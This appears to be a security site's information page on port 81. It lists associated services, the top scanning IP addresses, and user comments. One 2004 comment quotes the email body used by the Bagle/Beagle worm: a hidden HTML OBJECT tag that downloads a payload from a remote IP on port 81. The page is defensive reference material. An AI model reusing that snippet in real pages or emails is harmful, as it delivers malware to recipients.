Thinking...
[get complete service list]
Top of page
Port Information
Protocol Service Name
tcp hosts2-ns HOSTS2 Name Server
tcp RemoConChubo [trojan] RemoConChubo
udp hosts2-ns HOSTS2 Name Server
tcp docs-to-go Palm Documents to Go
Top IPs Scanning
Today Yesterday
193.142.147.209 (926)204.76.203.219 (4257)
204.76.203.219 (844)204.76.203.212 (3064)
45.153.34.119 (463)87.120.191.93 (821)
204.76.203.212 (431)87.120.191.90 (675)
204.76.203.208 (261)193.142.147.209 (634)
80.75.212.17 (235)5.187.35.21 (495)
94.74.191.125 (71)45.153.34.119 (414)
5.187.35.21 (45)18.223.104.85 (399)
67.205.139.222 (40)87.120.191.91 (353)
87.120.191.90 (40)87.120.191.6 (322)
Port diary mentions
URL
WTF tcp port 81
DVRIP Port 34567 - Uptick
Top of page
User Comments
Submitted By Date
Comment
Steve Arnold 2009-10-04 18:45:22
Reported today by Sophos as the port used by the e-mailed "carrier" (VBS script) of W32/Bagle-Q to download the virus.
TomazF 2009-10-04 18:45:22
new version (18.03.2004) of worm Beagle is working on port 81, opens PHP with ActiveX script ans install sm.exe -> \winnt\system32\directs.exe and infects then plenty of EXEs see virus email body: <html><body> <font face="System"> <OBJECT STYLE="display:none" DATA="http://219.15.112.80:81/257480.php"> </OBJECT></body></html> Rgrds, Tomaz
Diesel 2008-05-15 14:28:49
this port is used between http proxies
Just found 2008-04-29 18:22:33
igo-incognito user-authentication-for-watchguard-products IGo Incognito Data Port http://www.watchguard.com/training/lss/45/auth3.ht | http://www.micromuse.com/products/descriptions.htm | IGo Incognito Data Port
Joshua 2004-03-19 04:46:52
Secondary HTTP servers are often found on ports 81 through 83.
Tinga 2004-02-10 19:49:57
Port is also used for McAfee ePO console to server communications
Top of page
CVE Links
CVE # Description
Top of page